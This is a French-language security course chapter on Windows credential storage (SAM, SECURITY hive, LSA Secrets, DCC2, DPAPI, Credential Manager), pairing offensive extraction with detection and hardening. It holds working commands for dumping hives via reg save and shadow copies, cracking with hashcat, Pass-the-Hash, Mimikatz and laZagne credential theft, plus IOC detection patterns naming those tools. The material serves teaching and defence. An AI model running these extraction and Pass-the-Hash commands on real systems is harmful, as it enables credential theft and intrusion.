Copié !
Chapitre 08

Credentials : SAM, SYSTEM, SECURITY & DPAPI

Le cœur du post-exploitation Windows local. Où sont stockés les mots de passe, comment ils sont protégés, comment les extraire, comment les déchiffrer - et comment détecter chaque étape de ce processus avant qu'il soit trop tard.

AVANCÉ OFFENSIF + DÉFENSIF 5 – 6h
8.1

Où Windows Stocke les Mots de Passe - Carte Complète

Avant d'aller dans les détails techniques, voici la carte globale de tous les endroits où des credentials sont stockés sur une machine Windows - chacun avec sa surface d'attaque propre.

Arborescence complète du stockage des credentials WindowsSTRUCTURE
Windows Credential Storage │ ├── SAM (Security Account Manager) │ └── Hashes NT des comptes LOCAUX │ Fichier : C:\Windows\System32\config\SAM │ Registre : HKLM\SAM (verrouillé par SYSTEM) │ Chiffré avec le bootkey (SYSTEM hive) │ ├── LSASS (Local Security Authority Subsystem Service) │ └── Credentials en mémoire RAM (session active) │ Hashes NT, tickets Kerberos, mots de passe en clair (WDigest legacy) │ Processus : lsass.exe (PID variable) - voir Chapitre 9 │ ├── SECURITY (LSA Secrets) │ └── Secrets du système : comptes de services, mots de passe │ Cached logons (DCC2), DPAPI master keys système │ Fichier : C:\Windows\System32\config\SECURITY │ ├── NTDS.dit (Active Directory) │ └── Hashes NT de TOUS les comptes du domaine │ Fichier : C:\Windows\NTDS\NTDS.dit (uniquement sur les DCs) │ Voir Chapitre 12 │ ├── DPAPI (Data Protection API) │ └── Clés de chiffrement pour : Chrome, Firefox, Outlook, │ WiFi passwords, BitLocker, RDP credentials... │ Fichiers : %APPDATA%\Microsoft\Protect\<SID>\ │ └── Credential Manager (Windows Vault) └── Credentials sauvegardées manuellement par l'utilisateur Fichiers : %LOCALAPPDATA%\Microsoft\Credentials\ %APPDATA%\Microsoft\Credentials\
StockageType de donnéesVecteur d'attaque principalChapitre
SAMHashes NT locauxreg save + secretsdump, VSS8.2–8.3
SECURITYLSA Secrets, DCC2, DPAPI syssecretsdump avec SECURITY hive8.4
LSASSHashes NT, Kerberos, WDigestDump mémoire (Mimikatz, procdump)9
DPAPIChrome, WiFi, RDP, OutlookMaster Key + hash NT → déchiffrement8.5
NTDS.ditTous les hashes ADntdsutil, VSS sur DC12
8.2

Le Fichier SAM - Structure et Protection

Le SAM (Security Account Manager) est la base de données qui stocke les comptes locaux d'une machine Windows - noms d'utilisateurs, hashes des mots de passe, informations de compte. Introduit avec Windows NT 3.1 en 1993, il utilise depuis Windows 2000 le hash NT : MD4(UTF-16LE(mot_de_passe)).

Anecdote - Le hash LM fantôme

Avant Windows NT 4.0 SP3, le SAM stockait les hashes LM (LAN Manager) en plus des hashes NT. LM = DES(password_uppercase_padded) - extrêmement faible, rainbow tables complètes disponibles. Aujourd'hui les hashes LM sont remplacés par le placeholder aad3b435b51404eeaad3b435b51404ee - sa présence signifie simplement "pas de hash LM ici".

La triple protection du SAM
Trois mécanismes superposés protégeant le SAMSTRUCTURE
Protection 1 - Verrouillage SYSTEM (kernel lock) Le fichier SAM est verrouillé en écriture ET lecture par le kernel dès le démarrage de Windows - aucun processus (même SYSTEM) ne peut l'ouvrir via l'API standard pendant que Windows tourne. → Contournement : reg save, VSS, Live OS Protection 2 - Syskey / bootkey (depuis Windows NT 4.0 SP3) Les hashes NT dans le SAM sont chiffrés avec une clé 128-bit (Syskey) dérivée du SYSTEM bootkey. Lire le SAM brut sans le SYSTEM bootkey → hashes illisibles. → C'est pourquoi SAM + SYSTEM sont toujours nécessaires ensemble. Protection 3 - ACL NTFS restrictive HKLM\SAM → accessible uniquement par SYSTEM C:\Windows\System32\config\SAM → lecture interdite même pour Administrators
Le SYSTEM bootkey - Clé de déchiffrement du SAM

Le bootkey (Syskey) est stocké de manière obfusquée dans 4 sous-clés du registre SYSTEM. Il faut toujours les deux fichiers SAM + SYSTEM pour extraire les hashes - SAM seul ne suffit jamais.

Localisation du bootkey dans le hive SYSTEMREGISTRE
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ ├── JD ← 8 caractères du bootkey (permutés) ├── Skew1 ← 8 caractères du bootkey (permutés) ├── GBG ← 8 caractères du bootkey (permutés) └── Data ← 8 caractères du bootkey (permutés) Concaténés + permutation fixe = bootkey 16 bytes bootkey + SAM chiffré = hashes NT en clair → SAM seul = hashes illisibles (chiffrés) → SYSTEM seul = bootkey inutilisable (pas de hashes) → SAM + SYSTEM = hashes NT extraits ✓
Format des hashes NT dans le SAM
Format de sortie secretsdump - lecture des champsFORMAT
Format : username:RID:LM_hash:NT_hash::: Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: alice:1001:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c::: │ │ │ └── Hash NT ← ce qu'on veut │ │ └── Hash LM (placeholder vide) │ └── RID (Relative Identifier) - 500=Administrator, 501=Guest, 1000+=users └── Nom de compte 31d6cfe0d16ae931b73c59d7e0c089c0 = Hash NT du mot de passe VIDE 8846f7eaee8fb117ad06bdd830b7586c = Hash NT de "Password" (exemple)
8.3

Extraction des Hashes SAM - Techniques

Technique 1 - reg save (machine active, admin requis)
Sauvegarder SAM, SYSTEM, SECURITY pendant que Windows tourneCMD
rem reg save crée une copie hors du verrouillage kernel reg save HKLM\SAM C:\Temp\SAM.hive /y reg save HKLM\SYSTEM C:\Temp\SYSTEM.hive /y reg save HKLM\SECURITY C:\Temp\SECURITY.hive /y
impacket-secretsdump - extraction et lecture des hashes offlineBASH
# Extraction SAM + SYSTEM (hashes NT uniquement) impacket-secretsdump -sam SAM.hive -system SYSTEM.hive LOCAL # Extraction complète avec LSA Secrets + DCC2 impacket-secretsdump -sam SAM.hive -system SYSTEM.hive -security SECURITY.hive LOCAL # OUTPUT : # [*] Target system bootKey: 0x4a7f9c2e1b8d... # [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) # Administrator:500:aad3b435...:31d6cfe0...::: # alice:1001:aad3b435...:8846f7ea...::: # Dump remote (admin credentials requis) impacket-secretsdump 'administrator:P@ssw0rd@192.168.56.10'
Technique 2 - Volume Shadow Copies (VSS)

Les VSS (clichés instantanés) sont des snapshots du disque créés par Windows Update, System Restore, etc. Ils contiennent une copie des fichiers SAM/SYSTEM non verrouillée - prise à froid, sans le verrou kernel.

Accéder au SAM via les Volume Shadow CopiesPOWERSHELL
# Lister les shadow copies disponibles vssadmin list shadows Get-WmiObject Win32_ShadowCopy | Select-Object ID, InstallDate, DeviceObject # Accéder via lien symbolique $shadow = (Get-WmiObject Win32_ShadowCopy)[0].DeviceObject cmd /c "mklink /D C:\ShadowLink $shadow\" # Copier SAM/SYSTEM depuis le shadow - pas de verrouillage kernel Copy-Item "C:\ShadowLink\Windows\System32\config\SAM" "C:\Temp\SAM_shadow.hive" Copy-Item "C:\ShadowLink\Windows\System32\config\SYSTEM" "C:\Temp\SYSTEM_shadow.hive" Copy-Item "C:\ShadowLink\Windows\System32\config\SECURITY" "C:\Temp\SECURITY_shadow.hive" # Nettoyer le lien symbolique cmd /c "rmdir C:\ShadowLink"
Technique 3 - Live OS / Accès physique
Accès au SAM depuis un OS Linux live - aucun verrouillageBASH
# Monter le disque Windows depuis un live Linux mount /dev/sda2 /mnt/windows # Copier les hives - Windows n'est pas en cours, aucun verrouillage cp /mnt/windows/Windows/System32/config/SAM /tmp/ cp /mnt/windows/Windows/System32/config/SYSTEM /tmp/ cp /mnt/windows/Windows/System32/config/SECURITY /tmp/ # Extraction directe impacket-secretsdump -sam /tmp/SAM -system /tmp/SYSTEM LOCAL
Utilisation des hashes NT extraits
Cracking mode 1000 et Pass-the-Hash directBASH
# Hashes NT = hashcat mode 1000 (pas mode 5600 comme NTLMv2 réseau !) hashcat -m 1000 nt_hashes.txt /usr/share/wordlists/rockyou.txt hashcat -m 1000 nt_hashes.txt /usr/share/wordlists/rockyou.txt \ -r /usr/share/hashcat/rules/best64.rule john --format=NT nt_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt # Pass-the-Hash - utiliser le hash NT directement, sans cracker netexec smb 192.168.56.10 -u Administrator -H "31d6cfe0d16ae931b73c59d7e0c089c0" impacket-psexec -hashes ":8846f7eaee8fb117ad06bdd830b7586c" alice@192.168.56.10
Offensif - Pass-the-Hash sans cracker

Le hash NT extrait du SAM peut être utilisé directement en Pass-the-Hash - pas besoin de le cracker. netexec smb -H, impacket-psexec -hashes, impacket-wmiexec -hashes acceptent tous le format LMhash:NThash. Si le hash LM est vide, utiliser aad3b435b51404eeaad3b435b51404ee:<NT_HASH>.

8.4

LSA Secrets - Le Fichier SECURITY

Le fichier SECURITY contient les LSA Secrets (Local Security Authority Secrets) - des données sensibles stockées par le système pour son propre usage. Ces secrets sont chiffrés avec le bootkey (SYSTEM) et sont souvent plus précieux que les hashes SAM.

Contenu du fichier SECURITY
Structure des LSA Secrets - HKLM\SECURITY\Policy\SecretsSTRUCTURE
LSA Secrets (HKLM\SECURITY\Policy\Secrets\) ├── $MACHINE.ACC → Hash du compte machine AD (NTLM) ├── DefaultPassword → Mot de passe autologon en clair ⚠ ├── DPAPI_SYSTEM → Masterkeys DPAPI système (déchiffre les secrets apps) │ ├── dpapi_machinekey : clé machine │ └── dpapi_userkey : clé utilisateur système ├── NL$KM → Clé de chiffrement des DCC2 (cached logons) ├── _SC_ServiceName → Mots de passe des comptes de services Windows │ Ex: _SC_MSSQLSERVER → Mot de passe du compte de service SQL Server └── RasDialParams → Credentials VPN/dial-up sauvegardés
Cached Domain Credentials - DCC2

Les DCC2 (Domain Cached Credentials v2) permettent à un utilisateur du domaine de se connecter à sa machine même si le DC est injoignable. Windows conserve par défaut les 10 dernières authentifications de domaine en cache.

AttributHash NT (SAM)DCC2 (SECURITY)
AlgorithmeMD4PBKDF2-HMAC-SHA1 (10240 itérations)
Pass-the-HashOui - utilisable directementNon - inutilisable en PtH
CrackingMode 1000 - rapideMode 2100 - lent
Format hashcat8846f7ea...$DCC2$10240#user#hash
secretsdump complet - LSA Secrets + DCC2 + crackingBASH
# Dump complet : SAM + LSA Secrets + DCC2 impacket-secretsdump \ -sam SAM.hive \ -system SYSTEM.hive \ -security SECURITY.hive \ LOCAL # OUTPUT (section LSA Secrets) : # [*] Dumping LSA Secrets # [*] $MACHINE.ACC: aad3b435...:a4e3... ← Hash du compte machine # [*] DefaultPassword: MonMotDePasse123 ← Autologon en CLAIR ⚠ # [*] DPAPI_SYSTEM # dpapi_machinekey: 0x4a9f... # dpapi_userkey: 0x7b2c... # # [*] Dumping cached domain logon information # alice:$DCC2$10240#alice#8a3b7d...:DOMAIN:alice # bob:$DCC2$10240#bob#4f2c1a...:DOMAIN:bob # Cracker les DCC2 (mode 2100 - beaucoup plus lent que mode 1000) hashcat -m 2100 dcc2_hashes.txt /usr/share/wordlists/rockyou.txt
8.5

DPAPI - Data Protection API

DPAPI est l'infrastructure de chiffrement transparent de Windows introduite avec Windows 2000. Elle permet aux applications de chiffrer des données sensibles sans gérer elles-mêmes les clés - Windows se charge de la gestion des clés, liées à l'identité de l'utilisateur. Si on récupère le hash NT d'un utilisateur, on peut déchiffrer toutes ses données DPAPI offline.

Chaîne de confiance DPAPI
De la Master Key aux secrets des applications
Mot de passe utilisateur → Hash NT (MD4)
Hash NT + Salt + PBKDF2 → Master Key chiffrée
Master Key stockée dans : %APPDATA%\Microsoft\Protect\<SID>\<GUID>
Master Key déchiffrée → dérive les clés de session des applications
Clés de session → déchiffrent : Chrome passwords, cookies, WiFi, RDP, Outlook PST...
Localisation des fichiers DPAPI
Cartographie des fichiers DPAPI sur le systèmePOWERSHELL
# ── Master Keys utilisateur ────────────────────────────────────────── $SID = ([System.Security.Principal.WindowsIdentity]::GetCurrent()).User.Value Get-Item "$env:APPDATA\Microsoft\Protect\$SID\*" # Plusieurs fichiers GUID = plusieurs master keys (rotation automatique tous ~3 mois) # ── Master Keys SYSTEM ─────────────────────────────────────────────── Get-Item "C:\Windows\System32\Microsoft\Protect\S-1-5-18\User\*" # ── Credentials chiffrées (Credential Manager) ─────────────────────── Get-Item "$env:APPDATA\Microsoft\Credentials\*" Get-Item "$env:LOCALAPPDATA\Microsoft\Credentials\*" # ── Vault (Windows Vault / Credential Manager GUI) ─────────────────── Get-Item "$env:LOCALAPPDATA\Microsoft\Vault\*" Get-Item "C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Vault\*"
Extraction DPAPI - Méthode 1 : Mimikatz (machine active)
Mimikatz - dump DPAPI en mémoire via LSASSMIMIKATZ
mimikatz # sekurlsa::dpapi ← Dump DPAPI complet depuis lsass mimikatz # sekurlsa::dpapi /full ← Master keys depuis lsass mimikatz # dpapi::blob /in:C:\Users\alice\AppData\Local\Microsoft\Credentials\<GUID> ← Déchiffrer un blob spécifique mimikatz # vault::list ← Lister les entrées Credential Manager mimikatz # vault::cred ← Extraire les credentials mimikatz # vault::cred /patch ← Forcer le déchiffrement
Extraction DPAPI - Méthode 2 : impacket-dpapi (offline)
impacket-dpapi - Master Key + blob credential offlineBASH
# Prérequis : hash NT ou mot de passe de l'utilisateur + fichiers DPAPI # Étape 1 : Déchiffrer la Master Key impacket-dpapi masterkey \ -file "/tmp/dpapi/Protect/<SID>/<MK_GUID>" \ -sid "<SID>" \ -password "P@ssw0rd" # ou -hash <NT_HASH> # OUTPUT : # [GUID] : 4a7f9c2e1b8d6f3a5e0c7b4d2f9a1e8c... ← Master Key déchiffrée # Étape 2 : Déchiffrer un blob Credential avec la Master Key impacket-dpapi credential \ -file "/tmp/dpapi/Credentials/<CRED_GUID>" \ -key "4a7f9c2e1b8d6f3a5e0c7b4d2f9a1e8c..." # OUTPUT : # LastWritten : 2024-10-15 09:23:11 # Description : Mot de passe réseau # Username : alice@domain.com # Password : S3cr3tP@ssw0rd! ← credential en clair ⚠
Extraction DPAPI - Chrome passwords (cible haute valeur)
Chrome Login Data + Local State - extraction avec laZagneBASH
# Chrome stocke ses mots de passe dans une DB SQLite chiffrée avec DPAPI # Fichiers clés : # Login Data : %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data # Local State : %LOCALAPPDATA%\Google\Chrome\User Data\Local State # (contient os_crypt.encrypted_key = AES key chiffrée DPAPI) # laZagne - extraction automatique de tous les navigateurs python3 laZagne.py all python3 laZagne.py browsers -chrome # SharpChrome (depuis Windows avec accès à la session) # SharpChrome.exe logins /unprotect
8.6

Credential Manager - Windows Vault

Le Credential Manager est l'interface Windows pour gérer les credentials sauvegardées - mots de passe RDP, partages réseau, comptes Windows. Les données sont stockées chiffrées avec DPAPI dans %APPDATA%\Microsoft\Credentials\.

Structure et localisation
Organisation du Credential ManagerSTRUCTURE
Credential Manager ├── Windows Credentials │ ├── Comptes Windows (MSA, Azure AD) │ ├── Certificats │ └── Generic Credentials (RDP, partages réseau...) └── Web Credentials └── Mots de passe sauvegardés dans IE/Edge legacy Stockage physique (chiffré avec DPAPI utilisateur) : %APPDATA%\Microsoft\Credentials\ ← Credentials itinérantes %LOCALAPPDATA%\Microsoft\Credentials\ ← Credentials locales C:\Windows\System32\config\systemprofile\ ← Credentials SYSTEM
Lire le Credential Manager
cmdkey /list et PasswordVault PowerShellPOWERSHELL
# Via cmdkey (natif Windows) cmdkey /list # Cibles actuellement stockées : # Type : Generic # Cible : TERMSRV/192.168.56.20 ← Credential RDP sauvegardée # Utilisateur : alice # # Type : Domain Password # Cible : \\FILESERVER\partage # Utilisateur : DOMAIN\bob # Via PowerShell - PasswordVault API [void][Windows.Security.Credentials.PasswordVault, Windows.Security.Credentials, ContentType=WindowsRuntime] $vault = New-Object Windows.Security.Credentials.PasswordVault $vault.RetrieveAll() | ForEach-Object { $_.RetrievePassword() [PSCustomObject]@{ Ressource = $_.Resource Utilisateur = $_.UserName MotDePasse = $_.Password } }
8.7

Détection & Durcissement

Event IDs à monitorer
Event IDLogDescriptionSigne d'attaque
4656SecurityHandle demandé sur un objet SAMTentative d'accès SAM
4663SecurityAccès effectif à un objetAccès SAM/SECURITY
4657SecurityValeur de registre modifiéeModification LSA
4688SecurityProcessus créé (avec ligne de commande)reg save, vssadmin, procdump
7036SystemService démarré/arrêtéVSS service
Détecter les IOCs d'extraction de credentials via Event 4688POWERSHELL
$iocs = @( "reg.*save.*SAM", "reg.*save.*SYSTEM", "reg.*save.*SECURITY", "vssadmin.*create.*shadow", "ntdsutil", "mimikatz", "sekurlsa", "lsadump", "procdump.*lsass", "TaskManager.*lsass" ) Get-WinEvent -FilterHashtable @{ LogName = 'Security' Id = 4688 StartTime = (Get-Date).AddDays(-1) } -EA SilentlyContinue | ForEach-Object { $xml = [xml]$_.ToXml() $data = $xml.Event.EventData.Data $cmd = ($data | Where-Object {$_.Name -eq 'CommandLine'}).'#text' $proc = ($data | Where-Object {$_.Name -eq 'NewProcessName'}).'#text' foreach ($ioc in $iocs) { if ($cmd -match $ioc -or $proc -match $ioc) { Write-Host "IOC DETECTE [$($_.TimeCreated)]" -ForegroundColor Red Write-Host " Processus : $proc" Write-Host " Commande : $cmd" break } } }
Durcissement - 5 protections prioritaires
PPL LSASS, WDigest, Credential Guard, DCC2, RestrictRemoteSAMPOWERSHELL
# ── Protection 1 : PPL (Protected Process Light) sur LSASS ───────── # Empêche les accès mémoire même avec SeDebugPrivilege # Nécessite un driver signé pour être bypassé Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" ` -Name "RunAsPPL" -Value 1 # Valider après reboot : Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" | Select-Object RunAsPPL # ── Protection 2 : Désactiver WDigest ─────────────────────────────── # WDigest = stockait les mots de passe en CLAIR dans lsass # Désactivé par défaut depuis Windows 8.1 - toujours vérifier Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" ` -Name "UseLogonCredential" -Value 0 # 0 = désactivé # ── Protection 3 : Credential Guard ───────────────────────────────── # Isole lsass dans VTL1 (Hyper-V) - mimikatz ne peut plus lire en mémoire # Via GPO : Computer Config → Admin Templates → System → Device Guard # → Turn On Virtualization Based Security → Enabled # → Credential Guard Configuration: Enabled with UEFI lock (Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\DeviceGuard").EnableVirtualizationBasedSecurity # ── Protection 4 : Réduire les cached logons DCC2 ─────────────────── # Par défaut : 10 - réduire à 1 ou 0 Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" ` -Name "CachedLogonsCount" -Value "1" # 0 = désactiver complètement (utilisateurs domaine ne peuvent plus se connecter hors-ligne) # ── Protection 5 : Restreindre l'accès remote au SAM ──────────────── # Empêche les non-admins d'énumérer le SAM à distance Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" ` -Name "RestrictRemoteSAM" ` -Value "O:BAG:BAD:(A;;RC;;;BA)" # Admins uniquement
ProtectionCibleClé / ActionImpact sur les attaques
PPL LSASSDumps mémoireRunAsPPL = 1Bloque Mimikatz sans driver signé
WDigest = 0Mots de passe en clairUseLogonCredential = 0Aucun mot de passe en clair en RAM
Credential GuardLSASS en mémoireVTL1 via Hyper-VMimikatz aveugle - isolation VBS
CachedLogons = 1DCC2 crackablesCachedLogonsCount = 1Réduit la surface d'attaque DCC2
RestrictRemoteSAMÉnumération réseauSDDL Admins seulementBloque l'énumération distante du SAM
TP 1

Extraction SAM + LSA Secrets + Cracking

TP 08-A reg save → secretsdump → hashes NT → cracking + Pass-the-Hash → traces AVANCÉ
Objectifs
  1. Extraire les hives SAM, SYSTEM et SECURITY avec reg save
  2. Analyser leur contenu avec impacket-secretsdump
  3. Cracker les hashes NT avec hashcat mode 1000
  4. Tester le Pass-the-Hash avec netexec
  5. Analyser les traces laissées dans les Event Logs
reg save - copier SAM, SYSTEM, SECURITY pendant que Windows tournePOWERSHELL
# Créer le dossier de travail New-Item -ItemType Directory -Path "C:\LabSAM" -Force | Out-Null # Extraire les trois hives reg save HKLM\SAM "C:\LabSAM\SAM.hive" /y reg save HKLM\SYSTEM "C:\LabSAM\SYSTEM.hive" /y reg save HKLM\SECURITY "C:\LabSAM\SECURITY.hive" /y # Vérifier les fichiers créés Get-Item "C:\LabSAM\*.hive" | Select-Object Name, Length, LastWriteTime # Inventaire des comptes locaux (pour comparer avec le dump) Get-LocalUser | Select-Object Name, Enabled, SID, LastLogon | Format-Table -AutoSize
Transfert des hives + impacket-secretsdump + crackingBASH
# Récupérer les hives depuis Windows via smbclient mkdir -p /tmp/LabSAM smbclient //192.168.56.10/C$ -U "Administrator%P@ssw0rd" \ -c "cd LabSAM; get SAM.hive /tmp/LabSAM/SAM.hive; \ get SYSTEM.hive /tmp/LabSAM/SYSTEM.hive; \ get SECURITY.hive /tmp/LabSAM/SECURITY.hive" cd /tmp/LabSAM # Dump complet - SAM + LSA Secrets + DCC2 impacket-secretsdump \ -sam SAM.hive \ -system SYSTEM.hive \ -security SECURITY.hive \ LOCAL 2>&1 | tee dump_results.txt cat dump_results.txt # Isoler les hashes NT pour cracking grep -E "^[^:]+:[0-9]+:aad3b435" dump_results.txt | \ cut -d: -f4 > nt_hashes.txt cat nt_hashes.txt # Cracking hashes NT - mode 1000 hashcat -m 1000 nt_hashes.txt /usr/share/wordlists/rockyou.txt \ -r /usr/share/hashcat/rules/best64.rule --quiet hashcat -m 1000 nt_hashes.txt --show # Pass-the-Hash avec le hash Administrator ADMIN_HASH=$(grep "Administrator:" dump_results.txt | cut -d: -f4) echo "Hash NT Administrator : $ADMIN_HASH" netexec smb 192.168.56.10 -u Administrator -H "$ADMIN_HASH" --shares
Supprimer les hives extraites + rechercher les Event 4688POWERSHELL
# Supprimer les hives extraites Remove-Item "C:\LabSAM\" -Recurse -Force # Analyser les traces dans les Event Logs Write-Host "=== TRACES D'EXTRACTION ===" -ForegroundColor Red Get-WinEvent -FilterHashtable @{ LogName = 'Security' Id = 4688 StartTime = (Get-Date).AddMinutes(-30) } -EA SilentlyContinue | ForEach-Object { $xml = [xml]$_.ToXml() $data = $xml.Event.EventData.Data $cmd = ($data | Where-Object {$_.Name -eq 'CommandLine'}).'#text' if ($cmd -match "reg.*save|SAM|SYSTEM|SECURITY") { Write-Host "[$($_.TimeCreated)] $cmd" -ForegroundColor Yellow } }
TP 2

DPAPI - Cartographie & Déchiffrement

TP 08-B Explorer les fichiers DPAPI, créer une credential de test, la déchiffrer offline avec impacket AVANCÉ
Objectifs
  1. Cartographier les Master Keys et credentials DPAPI du profil courant
  2. Créer une credential de test dans le Credential Manager
  3. Déchiffrer la credential via l'API native (utilisateur courant)
  4. Déchiffrer offline avec impacket-dpapi (Master Key + hash NT)
SID, Master Keys, credentials chiffrées - inventaire completPOWERSHELL
$sid = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.Value Write-Host "SID courant : $sid" -ForegroundColor Cyan # Master Keys utilisateur Write-Host "`n=== MASTER KEYS DPAPI ===" -ForegroundColor Yellow $mkPath = "$env:APPDATA\Microsoft\Protect\$sid" if (Test-Path $mkPath) { Get-Item "$mkPath\*" | Select-Object Name, Length, LastWriteTime, CreationTime | Format-Table -AutoSize } # Credentials chiffrées Write-Host "`n=== CREDENTIALS CHIFFRÉES ===" -ForegroundColor Yellow $credPaths = @("$env:APPDATA\Microsoft\Credentials", "$env:LOCALAPPDATA\Microsoft\Credentials") foreach ($path in $credPaths) { if (Test-Path $path) { Write-Host "[$path] :" Get-Item "$path\*" | Select-Object Name, Length, LastWriteTime | Format-Table -AutoSize } } # Créer une credential de test dans le Credential Manager Write-Host "`n=== CRÉATION CREDENTIAL DE TEST ===" -ForegroundColor Cyan cmdkey /generic:"TestServeur" /user:"testuser" /pass:"TestMDP2024!" cmdkey /list | Select-String "TestServeur" -Context 0,2 # Nouveau fichier créé Get-Item "$env:APPDATA\Microsoft\Credentials\*" | Sort-Object LastWriteTime -Descending | Select-Object -First 3 | Select-Object Name, Length, LastWriteTime
CryptUnprotectData - déchiffrement DPAPI natif en PowerShellPOWERSHELL
Add-Type -TypeDefinition @" using System; using System.Runtime.InteropServices; using System.Text; public class DPAPIHelper { [DllImport("crypt32.dll", CharSet = CharSet.Auto, SetLastError = true)] private static extern bool CryptUnprotectData( ref DATA_BLOB pDataIn, StringBuilder szDataDescr, IntPtr pOptionalEntropy, IntPtr pvReserved, IntPtr pPromptStruct, int dwFlags, ref DATA_BLOB pDataOut); [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] internal struct DATA_BLOB { public int cbData; public IntPtr pbData; } public static byte[] Decrypt(byte[] encryptedData) { DATA_BLOB inBlob = new DATA_BLOB(); DATA_BLOB outBlob = new DATA_BLOB(); inBlob.pbData = Marshal.AllocHGlobal(encryptedData.Length); inBlob.cbData = encryptedData.Length; Marshal.Copy(encryptedData, 0, inBlob.pbData, encryptedData.Length); if (!CryptUnprotectData(ref inBlob, null, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, 0, ref outBlob)) return null; byte[] result = new byte[outBlob.cbData]; Marshal.Copy(outBlob.pbData, result, 0, outBlob.cbData); return result; } } "@ # Déchiffrer le fichier credential le plus récent $credFile = Get-Item "$env:APPDATA\Microsoft\Credentials\*" | Sort-Object LastWriteTime -Descending | Select-Object -First 1 if ($credFile) { Write-Host "Tentative de dechiffrement : $($credFile.Name)" -ForegroundColor Cyan $bytes = [System.IO.File]::ReadAllBytes($credFile.FullName) $decrypted = [DPAPIHelper]::Decrypt($bytes) if ($decrypted) { $text = [System.Text.Encoding]::Unicode.GetString($decrypted) Write-Host "Contenu dechiffre : $text" -ForegroundColor Green } }
Master Key + hash NT → déchiffrement credential offlineBASH
SID="S-1-5-21-XXXXXXX-XXXXXXX-XXXXXXX-1001" # Adapter MK_DIR="/tmp/dpapi/Protect/$SID" CRED_DIR="/tmp/dpapi/Credentials" # Étape 1 : Déchiffrer la Master Key avec le mot de passe (ou hash NT) impacket-dpapi masterkey \ -file "$MK_DIR/<MK_GUID>" \ -sid "$SID" \ -password "TestMDP2024!" # OUTPUT : [GUID] : 4a7f9c2e... ← copier cette valeur # Étape 2 : Déchiffrer le blob Credential avec la Master Key déchiffrée impacket-dpapi credential \ -file "$CRED_DIR/<CRED_GUID>" \ -key "4a7f9c2e..." # Password : TestMDP2024! ← credential en clair
Nettoyage - supprimer la credential de testCMD
cmdkey /delete:TestServeur

Résumé - Points clés à retenir

Architecture du stockage
Quatre emplacements, quatre surfaces d'attaque

SAM = hashes NT locaux protégés par Syskey - toujours besoin de SAM + SYSTEM ensemble. SECURITY = LSA Secrets avec comptes de services, autologon en clair, DCC2. DPAPI = couche de chiffrement transparent liée au hash NT utilisateur - un hash NT suffit pour tout déchiffrer offline.

DCC2 vs Hash NT
Une distinction critique

Le hash NT (SAM) est directement utilisable en Pass-the-Hash - pas besoin de cracker. Le DCC2 (SECURITY) ne peut pas être utilisé en PtH, seulement cracké offline avec hashcat mode 2100. VSS contourne le verrou kernel du SAM - fonctionne même quand reg save est bloqué par un EDR.

Pour l'Offensif
Workflow post-exploitation standard

reg save SAM+SYSTEM+SECURITY → secretsdump LOCAL → hashes NT → Pass-the-Hash direct sans cracker. Hash NT utilisateur → impacket-dpapi masterkey → toutes les credentials DPAPI déchiffrées (Chrome, WiFi, RDP). DefaultPassword dans LSA Secrets = autologon en clair.

Pour le Défensif
5 protections par priorité

1. PPL LSASS (RunAsPPL=1). 2. WDigest désactivé (UseLogonCredential=0). 3. Credential Guard (VTL1). 4. CachedLogonsCount=1. 5. RestrictRemoteSAM. Detection : Event 4688 avec audit de ligne de commande - filtrer reg save, vssadmin, procdump.

  • Identifier les 5 emplacements de stockage des credentials Windows et leur surface d'attaque
  • Expliquer pourquoi SAM + SYSTEM sont toujours nécessaires ensemble (bootkey)
  • Extraire les hives avec reg save et les analyser avec impacket-secretsdump
  • Accéder au SAM via les Volume Shadow Copies (VSS) sans verrou kernel
  • Distinguer hash NT (Pass-the-Hash) et DCC2 (cracking seulement)
  • Expliquer la chaîne de confiance DPAPI de la Master Key aux secrets des applications
  • Déchiffrer une Master Key DPAPI offline avec impacket-dpapi masterkey
  • Identifier les LSA Secrets sensibles : DefaultPassword, _SC_*, DPAPI_SYSTEM
  • Activer PPL sur LSASS et vérifier que WDigest est désactivé
  • Détecter les extractions SAM via Event 4688 avec filtrage des IOCs
Prochain chapitre

Le Chapitre 9 - LSASS : Dump Mémoire & Détection complète ce chapitre en approfondissant le dump de la mémoire du processus lsass.exe - la source la plus riche de credentials en session active : hashes NT, tickets Kerberos, et mots de passe en clair selon la configuration. Techniques d'extraction, contournement de PPL, et détection Sysmon.